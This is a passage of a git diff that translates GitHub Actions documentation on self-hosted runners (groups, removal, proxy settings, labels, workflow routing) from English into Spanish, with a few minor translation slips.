+   Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
 
    {% endwarning %}
 
-    ![Add runner group options](/assets/images/help/settings/actions-enterprise-account-add-runner-group-options.png)
-1. Click **Save group** to create the group and apply the policy.
+    ![Agregar opciones de un grupo de ejecutores](/assets/images/help/settings/actions-enterprise-account-add-runner-group-options.png)
+1. Da clic en **Guardar grupo** para crear el grupo y aplicar la política.
 {% endif %}
 {% endif %}
 
-## Changing the access policy of a self-hosted runner group
+## Cambiar la política de acceso de un grupo de ejecutores auto-hospedados
 
-You can update the access policy of a runner group, or rename a runner group.
+Puedes actualizar la política de acceso de un grupo ejecutor o renombrarlo.
 {% ifversion fpt or ghec %}
 {% data reusables.github-actions.self-hosted-runner-groups-navigate-to-repo-org-enterprise %}
 {% data reusables.github-actions.settings-sidebar-actions-runner-groups-selection %}
-1. Modify the access options, or change the runner group name.
+1. Modifica las opciones de acceso o cambia el nombre del grupo de ejecutores.
 
    {% warning %}
 
-   **Warning**
+   **Advertencia**
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
 
    {% endwarning %}
 {% endif %}
@@ -163,54 +164,49 @@ You can update the access policy of a runner group, or rename a runner group.
 {% endif %}
 
 {% ifversion ghec or ghes or ghae %}
-## Automatically adding a self-hosted runner to a group
+## Agregar ejecutores auto-hospedados a un grupo automáticamente
 
-You can use the configuration script to automatically add a new self-hosted runner to a group. For example, this command registers a new self-hosted runner and uses the `--runnergroup` parameter to add it to a group named `rg-runnergroup`.
+Puedes utilizar el script de configuración para agregar automáticamente un ejecutor auto-hospedado nuevo a un grupo. Por ejemplo, este comando registra un ejecutor auto-hospedado nuevo y utiliza el parámetro `--runnergroup` para agregarlo a un grupo llamado `rg-runnergroup`.
 
 ```sh
 ./config.sh --url $org_or_enterprise_url --token $token --runnergroup rg-runnergroup
 ```
 
-The command will fail if the runner group doesn't exist:
+El comando fallará si el grupo de ejecutores no existe:
 
 ```
 Could not find any self-hosted runner group named "rg-runnergroup".
 ```
 
-## Moving a self-hosted runner to a group
+## Mover un ejecutor auto-hospedado a un grupo
 
-If you don't specify a runner group during the registration process, your new self-hosted runners are automatically assigned to the default group, and can then be moved to another group.
+Si no especificas un grupo de ejecutores durante el proceso de registro, tus ejecutores auto-hospedados nuevos se asignarán automáticamente al grupo predeterminado y después se moverán a otro grupo.
 {% ifversion ghec or ghes > 3.1 or ghae %}
 {% data reusables.github-actions.self-hosted-runner-navigate-to-org-enterprise %}
-1. In the "Runners" list, click the runner that you want to configure.
-2. Select the Runner group dropdown menu.
-3. In "Move runner to group", choose a destination group for the runner.
+1. En la lista de "Ejecutores", haz clic en aquél que quieras configurar.
+2. Selecciona el menú desplegable del grupo de ejecutores.
+3. En "Mover el ejecutor al grupo", elige un grupo destino para el ejecutor.
 {% endif %}
 {% ifversion ghes < 3.2 or ghae %}
-1. In the "Self-hosted runners" section of the settings page, locate the current group of the runner you want to move and expand the list of group members.
-    ![View runner group members](/assets/images/help/settings/actions-org-runner-group-members.png)
-2. Select the checkbox next to the self-hosted runner, and then click **Move to group** to see the available destinations.
-    ![Runner group member move](/assets/images/help/settings/actions-org-runner-group-member-move.png)
-3. To move the runner, click on the destination group.
-    ![Runner group member move](/assets/images/help/settings/actions-org-runner-group-member-move-destination.png)
+1. En la sección de "Ejecutores auto-hospedados" de la página de configuración, ubica el grupo actual del ejecutor que quieres mover y expande la lista de miembros del grupo. ![Ver los miembros de un grupo de ejecutores](/assets/images/help/settings/actions-org-runner-group-members.png)
+2. Selecciona la casilla junto al ejecutor auto-hospedado y da clic en **Mover a grupo** para ver los destinos disponibles. ![Mover a un miembro de un grupo de ejecutores](/assets/images/help/settings/actions-org-runner-group-member-move.png)
+3. Para mover el ejecutor, da clic en el grupo de destino. ![Mover a un miembro de un grupo de ejecutores](/assets/images/help/settings/actions-org-runner-group-member-move-destination.png)
 {% endif %}
-## Removing a self-hosted runner group
+## Eliminar un grupo de ejecutores auto-hospedados
 
-Self-hosted runners are automatically returned to the default group when their group is removed.
+Los ejecutores auto-hospedados se devuelven automáticamente al grupo predeterminado cuando su grupo se elimina.
 
 {% ifversion ghes > 3.1 or ghae or ghec %}
 {% data reusables.github-actions.self-hosted-runner-groups-navigate-to-repo-org-enterprise %}
-1. In the list of groups, to the right of the group you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
-2. To remove the group, click **Remove group**.
-3. Review the confirmation prompts, and click **Remove this runner group**.
+1. En la lista de grupos, a la derecha del grupo que quieras borrar, haz clic en {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
+2. Para eliminar el grupo, da clic en **Eliminar grupo**.
+3. Revisa el mensaje de confirmación y da clic en **Eliminar este grupo de ejecutores**.
 {% endif %}
 {% ifversion ghes < 3.2 or ghae %}
-1. In the "Self-hosted runners" section of the settings page, locate the group you want to delete, and click the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} button.
-    ![View runner group settings](/assets/images/help/settings/actions-org-runner-group-kebab.png)
+1. En la sección de "Ejecutores auto-hospedados" de la página de ajustes, ubica el grupo que quieras borrar y haz clic en el botón {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. ![Ver la configuración del grupo de ejecutores](/assets/images/help/settings/actions-org-runner-group-kebab.png)
 
-1. To remove the group, click **Remove group**.
-    ![View runner group settings](/assets/images/help/settings/actions-org-runner-group-remove.png)
+1. Para eliminar el grupo, da clic en **Eliminar grupo**. ![Ver la configuración del grupo de ejecutores](/assets/images/help/settings/actions-org-runner-group-remove.png)
 
-1. Review the confirmation prompts, and click **Remove this runner group**.
+1. Revisa el mensaje de confirmación y da clic en **Eliminar este grupo de ejecutores**.
 {% endif %}
 {% endif %}
diff --git a/translations/es-ES/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md b/translations/es-ES/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
index 49a1a6d3d0..60cdee66e1 100644
--- a/translations/es-ES/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
+++ b/translations/es-ES/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
@@ -1,6 +1,6 @@
 ---
-title: Removing self-hosted runners
-intro: 'You can permanently remove a self-hosted runner from a repository{% ifversion fpt %} or organization{% elsif ghec or ghes or gahe %}, an organization, or an enterprise{% endif %}.'
+title: Eliminar ejecutores autoalojados
+intro: 'Puedes eliminar un ejecutor auto-hospedado permanentemente de un repositorio{% ifversion fpt %} u organización{% elsif ghec or ghes or gahe %}, una organización o una empresa{% endif %}.'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/removing-self-hosted-runners
   - /actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners
@@ -10,24 +10,24 @@ versions:
   ghae: '*'
   ghec: '*'
 type: tutorial
-shortTitle: Remove self-hosted runners
+shortTitle: Elimina ejecutores auto-hospedados
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Removing a runner from a repository
+## Eliminar un ejecutor de un repositorio
 
 {% note %}
 
-**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
+**Nota:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
 
 {% data reusables.github-actions.self-hosted-runner-auto-removal %}
 
 {% endnote %}
 
-To remove a self-hosted runner from a user repository you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
+Para eliminar un ejecutor autoalojado de un repositorio de usuario, debes ser el propietario del repositorio. Para los repositorios organizacionales, debes ser el propietario de la organización o tener acceso de administrador a éste. Recomendamos que también tengas acceso a la máquina del ejecutor auto-hospedado. Para obtener más información sobre cómo eliminar un ejecutor auto-hospedado con la API de REST, consulta la sección "[Ejecutores auto-hospedados](/rest/reference/actions#self-hosted-runners)".
 
 {% data reusables.github-actions.self-hosted-runner-reusing %}
 {% ifversion fpt or ghec %}
@@ -44,17 +44,17 @@ To remove a self-hosted runner from a user repository you must be the repository
 {% data reusables.github-actions.settings-sidebar-actions-runners %}
 {% data reusables.github-actions.self-hosted-runner-removing-a-runner %}
 {% endif %}
-## Removing a runner from an organization
+## Eliminar el ejecutor de una organización
 
 {% note %}
 
-**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
+**Nota:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
 
 {% data reusables.github-actions.self-hosted-runner-auto-removal %}
 
 {% endnote %}
 
-To remove a self-hosted runner from an organization, you must be an organization owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
+Para eliminar el ejecutor auto-hospedado de una organización, debes ser el propietario de la misma. Recomendamos que también tengas acceso a la máquina del ejecutor auto-hospedado. Para obtener más información sobre cómo eliminar un ejecutor auto-hospedado con la API de REST, consulta la sección "[Ejecutores auto-hospedados](/rest/reference/actions#self-hosted-runners)".
 
 {% data reusables.github-actions.self-hosted-runner-reusing %}
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
@@ -70,15 +70,16 @@ To remove a self-hosted runner from an organization, you must be an organization
 {% data reusables.github-actions.settings-sidebar-actions-runners %}
 {% data reusables.github-actions.self-hosted-runner-removing-a-runner %}
 {% endif %}
-## Removing a runner from an enterprise
+## Eliminar un ejecutor de una empresa
 
 {% ifversion fpt %}
-If you use {% data variables.product.prodname_ghe_cloud %}, you can also remove runners from an enterprise. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-enterprise).
+Si utilizas
+{% data variables.product.prodname_ghe_cloud %}, también puedes eliminar ejecutores de una empresa. Para obtener más información, consulta la [documentación de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-enterprise).
 {% endif %}
 {% ifversion ghec or ghes or ghae %}
 {% note %}
 
-**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
+**Nota:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
 
 {% data reusables.github-actions.self-hosted-runner-auto-removal %}
 
@@ -87,7 +88,7 @@ If you use {% data variables.product.prodname_ghe_cloud %}, you can also remove
 {% data reusables.github-actions.self-hosted-runner-reusing %}
 
 {% ifversion ghec %}
-To remove a self-hosted runner from an enterprise account, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. For information about how to add a self-hosted runner with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions).
+Para eliminar a un ejecutor auot-hospedado de una cuenta empresarial, debes ser un propietario de la empresa. Recomendamos que también tengas acceso a la máquina del ejecutor auto-hospedado. Para obtener más información sobre cómo agregar un ejecutor auto-hospedado con la API de REST, consulta las [API de GitHub Actions para la Administración Empresarial](/rest/reference/enterprise-admin#github-actions).
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
@@ -95,7 +96,8 @@ To remove a self-hosted runner from an enterprise account, you must be an enterp
 {% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
 {% data reusables.github-actions.self-hosted-runner-removing-a-runner-updated %}
 {% elsif ghae or ghes %}
-To remove a self-hosted runner at the enterprise level of {% data variables.product.product_location %}, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine.
+Para eliminar un ejecutor auto-hospedado a nivel empresarial de
+{% data variables.product.product_location %}, debes ser un propietario de empresa. Recomendamos que también tengas acceso a la máquina del ejecutor auto-hospedado.
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
diff --git a/translations/es-ES/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md b/translations/es-ES/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
index 2ae428faa5..5a542ce45b 100644
--- a/translations/es-ES/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
+++ b/translations/es-ES/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
@@ -1,6 +1,6 @@
 ---
-title: Using a proxy server with self-hosted runners
-intro: 'You can configure self-hosted runners to use a proxy server to communicate with {% data variables.product.product_name %}.'
+title: Usar un servidor proxy con ejecutores autoalojados
+intro: 'Puedes configurar los ejecutores autoalojados para usar un servidor proxy para comunicarte con {% data variables.product.product_name %}.'
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners
 versions:
@@ -9,48 +9,48 @@ versions:
   ghae: '*'
   ghec: '*'
 type: tutorial
-shortTitle: Proxy servers
+shortTitle: Servidores proxy
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Configuring a proxy server using environment variables
+## Configurar un servidor proxy mediante variables de entorno
 
-If you need a self-hosted runner to communicate via a proxy server, the self-hosted runner application uses proxy configurations set in the following environment variables:
+Si necesitas un ejecutor autoalojado para comunicarte a través de un servidor proxy, la aplicación del ejecutor autoalojado usa configuraciones de proxy establecidas en las siguientes variables de entorno:
 
-* `https_proxy`: Proxy URL for HTTPS traffic. You can also include basic authentication credentials, if required. For example:
+* `https_proxy`: URL del proxy para el tráfico HTTPS. También puedes incluir credenciales de autenticación básicas, si es necesario. Por ejemplo:
   * `http://proxy.local`
   * `http://192.168.1.1:8080`
   * `http://username:password@proxy.local`
-* `http_proxy`: Proxy URL for HTTP traffic. You can also include basic authentication credentials, if required. For example:
+* `http_proxy`: URL del proxy para el tráfico HTTP. También puedes incluir credenciales de autenticación básicas, si es necesario. Por ejemplo:
   * `http://proxy.local`
   * `http://192.168.1.1:8080`
   * `http://username:password@proxy.local`
-* `no_proxy`: Comma separated list of hosts that should not use a proxy. Only hostnames are allowed in `no_proxy`, you cannot use IP addresses. For example:
+* `no_proxy`: Lista de hosts separados por comas que no deberían usar un proxy. Solo se permiten nombres de host en `no_proxy`, no puedes usar direcciones IP. Por ejemplo:
   * `example.com`
   * `example.com,myserver.local:443,example.org`
 
-The proxy environment variables are read when the self-hosted runner application starts, so you must set the environment variables before configuring or starting the self-hosted runner application. If your proxy configuration changes, you must restart the self-hosted runner application.
+Las variables de entorno de proxy se leen cuando se inicia la aplicación del ejecutor autoalojado, por lo que debes establecer las variables de entorno antes de configurar o iniciar la aplicación del ejecutor autoalojado. Si cambia la configuración de tu proxy, debes reiniciar la aplicación del ejecutor autoalojado.
 
-On Windows machines, the proxy environment variable names are not case-sensitive. On Linux and macOS machines, we recommend that you use all lowercase environment variables. If you have an environment variable in both lowercase and uppercase on Linux or macOS, for example `https_proxy` and `HTTPS_PROXY`, the self-hosted runner application uses the lowercase environment variable.
+En las máquinas Windows, los nombres de las variables de entorno proxy no distinguen mayúsculas de minúsculas. En las máquinas Linux y macOS, te recomendamos que uses todas las variables de entorno en minúsculas. Si tienes una variable de entorno tanto en minúsculas como en mayúsculas en Linux o macOS, por ejemplo `https_proxy` y `HTTPS_PROXY`, la aplicación del ejecutor autoalojado usa la variable de entorno en minúscula.
 
 {% data reusables.actions.self-hosted-runner-ports-protocols %}
 
-## Using a .env file to set the proxy configuration
+## Usar un archivo.env para establecer la configuración del proxy
 
-If setting environment variables is not practical, you can set the proxy configuration variables in a file named _.env_ in the self-hosted runner application directory. For example, this might be necessary if you want to configure the runner application as a service under a system account. When the runner application starts, it reads the variables set in _.env_ for the proxy configuration.
+Si establecer variables de entorno no es práctico, puedes establecer las variables de configuración de proxy en un archivo llamado _.env_ en el directorio de la aplicación del ejecutor autoalojado. Por ejemplo, esto puede ser necesario si deseas configurar la aplicación del ejecutor como un servicio en una cuenta de sistema. Cuando se inicia la aplicación del ejecutor, lee las variables establecidas en _.env_ para la configuración del proxy.
 
-An example _.env_ proxy configuration is shown below:
+A continuación se muestra un ejemplo de configuración del proxy _.env_:
 
 ```ini
 https_proxy=http://proxy.local:8080
 no_proxy=example.com,myserver.local:443
 ```
 
-## Setting proxy configuration for Docker containers
+## Establecer la configuración del proxy para contenedores Docker
 
-If you use Docker container actions or service containers in your workflows, you might also need to configure Docker to use your proxy server in addition to setting the above environment variables.
+Si usas las acciones del contenedor Docker o los contenedores de servicio en tus flujos de trabajo, es posible que también debas configurar Docker para usar tu servidor proxy además de establecer las variables de entorno anteriores.
 
-For information on the required Docker configuration, see "[Configure Docker to use a proxy server](https://docs.docker.com/network/proxy/)" in the Docker documentation.
+Para obtener información sobre la configuración de Docker que se necesita, consulta "[Configurar Docker para usar un servidor proxy](https://docs.docker.com/network/proxy/)" en la documentación de Docker.
diff --git a/translations/es-ES/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md b/translations/es-ES/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
index 42ac880513..b1e805297d 100644
--- a/translations/es-ES/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
+++ b/translations/es-ES/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
@@ -1,80 +1,79 @@
 ---
-title: Using labels with self-hosted runners
-intro: You can use labels to organize your self-hosted runners based on their characteristics.
+title: Utilizar etiquetas con ejecutores auto-hospedados
+intro: Puedes utilizar etiquetas para organizar tus ejecutores auto-hospedados según sus características.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 type: tutorial
-shortTitle: Label runners
+shortTitle: Etiquetar ejecutores
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-For information on how to use labels to route jobs to specific types of self-hosted runners, see "[Using self-hosted runners in a workflow](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)."
+Para obtener información sobre cómo utilizar las etiquetas para rutear jobs a tipos específicos de ejecutores auto-hospedados, consulta la sección "[Utilizar ejecutores auto-hospedados en un flujo de trabajo](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)".
 
 {% data reusables.github-actions.self-hosted-runner-management-permissions-required %}
 
-## Creating a custom label
+## Crear una etiqueta personalizada
 {% ifversion fpt or ghec %}
 {% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
  {% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
- 1. In the "Labels" section, click {% octicon "gear" aria-label="The Gear icon" %}.
- 1. In the "Find or create a label" field, type the name of your new label and click **Create new label**.
- The custom label is created and assigned to the self-hosted runner. Custom labels can be removed from self-hosted runners, but they currently can't be manually deleted. {% data reusables.github-actions.actions-unused-labels %}
+ 1. En la sección de "Etiquetas", haz clic en {% octicon "gear" aria-label="The Gear icon" %}.
+ 1. En el campo de "Encuentra o crea una etiqueta", teclea el nombre de tu etiqueta nueva y haz clic en **Crear etiqueta nueva**. La etiqueta personalizada se creará y asignará al ejecutor auto-hospedado. Las etiquetas personalizadas pueden eliminarse de los ejecutores auto-hospedados, pero actualmente no pueden eliminarse manualmente. {% data reusables.github-actions.actions-unused-labels %}
 {% endif %}
 {% ifversion ghae or ghes %}
 {% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
 {% data reusables.github-actions.self-hosted-runner-list %}
 {% data reusables.github-actions.self-hosted-runner-list-group %}
 {% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
-1. In the "Filter labels" field, type the name of your new label, and click **Create new label**.
-    ![Add runner label](/assets/images/help/settings/actions-add-runner-label.png)
-    
-The custom label is created and assigned to the self-hosted runner. Custom labels can be removed from self-hosted runners, but they currently can't be manually deleted. {% data reusables.github-actions.actions-unused-labels %}
-{% endif %}
-## Assigning a label to a self-hosted runner
-{% ifversion fpt or ghec %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
-{% data reusables.github-actions.runner-label-settings %}
-  1. To assign a label to your self-hosted runner, in the "Find or create a label" field, click the label. 
-{% endif %}
-{% ifversion ghae or ghes %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.self-hosted-runner-list %}
-{% data reusables.github-actions.self-hosted-runner-list-group %}
-{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
-1. Click on a label to assign it to your self-hosted runner. 
-{% endif %}
-## Removing a custom label from a self-hosted runner
-{% ifversion fpt or ghec %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
-{% data reusables.github-actions.runner-label-settings %}
-  1. In the "Find or create a label" field, assigned labels are marked with the {% octicon "check" aria-label="The Check icon" %} icon. Click on a marked label to unassign it from your self-hosted runner. 
-{% endif %}
-{% ifversion ghae or ghes %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.self-hosted-runner-list %}
-{% data reusables.github-actions.self-hosted-runner-list-group %}
-{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
-1. Click on the assigned label to remove it from your self-hosted runner. {% data reusables.github-actions.actions-unused-labels %}
-{% endif %}
-## Using the configuration script to create and assign labels
+1. En el campo "Filtrar etiquetas", teclea el nombre de tu nueva etiqueta y da clic en **Crear nueva etiqueta**. ![Etiqueta de agregar ejecutor](/assets/images/help/settings/actions-add-runner-label.png)
 
-You can use the configuration script on the self-hosted runner to create and assign custom labels. For example, this command assigns a label named `gpu` to the self-hosted runner. 
+La etiqueta personalizada se creará y asignará al ejecutor auto-hospedado. Las etiquetas personalizadas pueden eliminarse de los ejecutores auto-hospedados, pero actualmente no pueden eliminarse manualmente. {% data reusables.github-actions.actions-unused-labels %}
+{% endif %}
+## Asignar una etiqueta a un ejecutor auto-hospedado
+{% ifversion fpt or ghec %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
+{% data reusables.github-actions.runner-label-settings %}
+  1. Para asignar una etiqueta a tu ejecutor auto-hospedado, en el campo de "Encuentra o crea una etiqueta", haz clic en ella.
+{% endif %}
+{% ifversion ghae or ghes %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.self-hosted-runner-list %}
+{% data reusables.github-actions.self-hosted-runner-list-group %}
+{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
+1. Da clic en la etiqueta para asignarla a tu ejecutor auto-hospedado.
+{% endif %}
+## Eliminar una etiqueta personalizada de un ejecutor auto-hospedado
+{% ifversion fpt or ghec %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
+{% data reusables.github-actions.runner-label-settings %}
+  1. En el campo "Encuentra o crea una etiqueta", las etiquetas asignadas se marcan con el
+icono {% octicon "check" aria-label="The Check icon" %}. Haz clic en una etiqueta marcada para desasignarla de tu ejecutor auto-hospedado.
+{% endif %}
+{% ifversion ghae or ghes %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.self-hosted-runner-list %}
+{% data reusables.github-actions.self-hosted-runner-list-group %}
+{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
+1. Da clic en la etiqueta asignada para eliminarla de tu ejecutor auto-hospedado. {% data reusables.github-actions.actions-unused-labels %}
+{% endif %}
+## Utilizar el script de configuración para crear y asignar etiquetas
+
+Puedes utilizar el script de configuración en el ejecutor auto-hospedado para crear y asignar etiquetas personalizadas. Por ejemplo, este comando asigna una etiqueta llamada `gpu` al ejecutor auto-hospedado.
 
 ```shell
 ./config.sh --labels gpu
 ```
 
-The label is created if it does not already exist. You can also use this approach to assign the default labels to runners, such as `x64` or `linux`. When default labels are assigned using the configuration script, {% data variables.product.prodname_actions %} accepts them as given and does not validate that the runner is actually using that operating system or architecture.
+La etiqueta se creará si no existe. También puedes utilizar este acercamiento para asignar etiquetas predeterminadas a los ejecutores, tales como `x64` o `linux`. Cuando se asignan etiquetas predeterminadas utilizando el script de configuración, {% data variables.product.prodname_actions %} las acepta como asignadas y no valida si el ejecutor está utilizando ese sistema operativo o arquitectura.
 
-You can use comma separation to assign multiple labels. For example:
+Puedes utilizar separación por comas para asignar etiquetas múltiples. Por ejemplo:
 
 ```shell
 ./config.sh --labels gpu,x64,linux
@@ -82,6 +81,6 @@ You can use comma separation to assign multiple labels. For example:
 
 {% note %}
 
-** Note:** If you replace an existing runner, then you must reassign any custom labels.
+** Nota:** Si reemplazaste un ejecutor existente, entonces deberás volver a asignar cualquier etiqueta personalizada.
 
 {% endnote %}
diff --git a/translations/es-ES/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md b/translations/es-ES/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md
index 8b533bffd4..67c98f9aa6 100644
--- a/translations/es-ES/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md
+++ b/translations/es-ES/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md
@@ -1,6 +1,6 @@
 ---
-title: Using self-hosted runners in a workflow
-intro: 'To use self-hosted runners in a workflow, you can use labels to specify the runner type for a job.'
+title: Usar ejecutores autoalojados en un flujo de trabajo
+intro: 'Para usar los ejecutores autoalojados en un flujo de trabajo, puedes usar etiquetas para especificar el tipo de ejecutores para un trabajo.'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow
   - /actions/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow
@@ -10,77 +10,82 @@ versions:
   ghae: '*'
   ghec: '*'
 type: tutorial
-shortTitle: Use runners in a workflow
+shortTitle: Utilizar ejecutores en un flujo de trabajo
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-For information on creating custom and default labels, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)."
+Para obtener más información sobre cómo crear etiquetas personalizadas y predeterminadas, consulta la sección "[Utilizar etiquetas con ejecutores auto-hospedados](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)".
 
-## Using self-hosted runners in a workflow
+## Usar ejecutores autoalojados en un flujo de trabajo
 
-Labels allow you to send workflow jobs to specific types of self-hosted runners, based on their shared characteristics. For example, if your job requires a particular hardware component or software package, you can assign a custom label to a runner and then configure your job to only execute on runners with that label.
+Las etiquetas te permiten enviar jobs de flujo de trabajo a tipos específicos de ejecutores auto-hospedados, de acuerdo con sus características compartidas. Por ejemplo, si tu job requiere una componente de hardware o paquete de software específico, puedes asignar una etiqueta personalizada a un ejecutor y después configurar tu job para que solo se ejecute en los ejecutores con esta etiqueta.
 
 {% data reusables.github-actions.self-hosted-runner-labels-runs-on %}
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on)."
+Para obtener más información, consulta "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on)."
 
-## Using default labels to route jobs
+## Utilizar etiquetas predeterminadas para enrutar jobs
 
-A self-hosted runner automatically receives certain labels when it is added to {% data variables.product.prodname_actions %}. These are used to indicate its operating system and hardware platform:
+Un ejecutor auto-hospedado recibe ciertas etiquetas automáticamente cuando se agrega a {% data variables.product.prodname_actions %}. Estas se utilizan para indicar su sistema operativo y plataforma de hardware:
 
-* `self-hosted`: Default label applied to all self-hosted runners.
-* `linux`, `windows`, or `macOS`: Applied depending on operating system.
-* `x64`, `ARM`, or `ARM64`: Applied depending on hardware architecture.
+* `autoalojado`: Etiqueta por defecto aplicada a todos los ejecutores autoalojados.
+* `linux`, `windows`, o `macOS`: Se aplican dependiendo del sistema operativo.
+* `x64`, `ARM`, or `ARM64`: Se aplican dependiendo de la arquitectura del hardware.
 
-You can use your workflow's YAML to send jobs to a combination of these labels. In this example, a self-hosted runner that matches all three labels will be eligible to run the job:
+Puedes utilizar el YAML de tu flujo de trabajo para mandar jobs a las diferentes combinaciones de estas etiquetas. En este ejemplo, un ejecutor auto-hospedado que empate con las tres etiquetas será elegible para ejecutar el job:
 
 ```yaml
 runs-on: [self-hosted, linux, ARM64]
 ```
 
-- `self-hosted` - Run this job on a self-hosted runner.
-- `linux` - Only use a Linux-based runner.
-- `ARM64` - Only use a runner based on ARM64 hardware.
+- `self-hosted` - Ejecuta este job en un ejecutor auto-hospedado.
+- `linux` - Utiliza únicamente un ejecutor basado en Linux.
+- `ARM64` - Utiliza únicamente un ejecutor basado en hardware ARM64.
 
-The default labels are fixed and cannot be changed or removed. Consider using custom labels if you need more control over job routing.
